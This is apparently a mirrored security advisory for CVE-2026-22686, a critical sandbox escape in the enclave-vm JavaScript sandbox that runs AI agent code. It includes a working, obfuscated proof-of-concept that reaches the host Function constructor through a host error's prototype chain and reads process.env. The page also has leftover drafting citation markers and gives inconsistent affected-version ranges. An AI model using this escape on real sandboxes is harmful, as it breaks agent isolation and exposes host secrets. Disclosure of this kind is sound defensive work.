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GHSA-7qm7-455j-5p63

Опубликовано: 14 янв. 2026
Источник: github
Github: Прошло ревью
CVSS3: 10

Описание

enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain

A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.

When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:

Error instance → Error.prototype → Error constructor → Function constructor

With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.

This breaks enclave-vm’s core security guarantee of isolating untrusted code.

Ecosystem Impact (FrontMCP / CodeCall)

FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.

Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.

Live Playground (Safe Exploration & Testing)

To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:

This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.

Timeline (Fast Fix)

  • Fix released: enclave-vm@2.7.0 (Jan 9, 2026)
  • Advisory published: Jan 13, 2026

Proof of Concept

⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

Click to expand PoC
// Vector 35: The Host Error Escape // Purpose: Trigger a Host-side error and traverse its prototype chain // to reach the Host Function constructor. const s = (...args) => String.fromCharCode(...args); const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor" const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__" const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118); const kPtype = s(112,114,111,116,111,116,121,112,101); try { const ObjectProto = Object[kPtype]; const lookup = ObjectProto[kLookup]; const getProtoNative = lookup.call(ObjectProto, kProto); let hostError; try { await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {}); } catch (e) { hostError = e; } const errProto = getProtoNative.call(hostError); const ErrorCtor = errProto[kCon]; const HostFunc = ErrorCtor[kCon]; const exploitFn = HostFunc(kCode); return exploitFn(); } catch (e) { return e.message; }

Mitigation / Remediation

Immediate action:

  • Upgrade enclave-vm to 2.7.0+

Defense-in-depth guidance:

  • Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
  • Strip / freeze prototype chains of host objects
  • Prevent access to host Function constructors
  • Harden tool error handling to avoid leaking host-native objects

References

Factual hooks (for correctness): - GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0} - FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1} - FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2} - Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3} - Release listing shows `enclave-vm@2.7.0` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4} ::contentReference[oaicite:5]{index=5}

Ссылки

Пакеты

Наименование

enclave-vm

npm
Затронутые версииВерсия исправления

< 2.7.0

2.7.0

EPSS

Процентиль: 34%
0.00135
Низкий

10 Critical

CVSS3

CVE ID

CVE-2026-22686

Дефекты

CWE-94

Связанные уязвимости

nvd логотип

CVE-2026-22686

CVSS3: 10
nvd
6 дней назад

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.

EPSS

Процентиль: 34%
0.00135
Низкий

10 Critical

CVSS3

CVE ID

CVE-2026-22686

Дефекты

CWE-94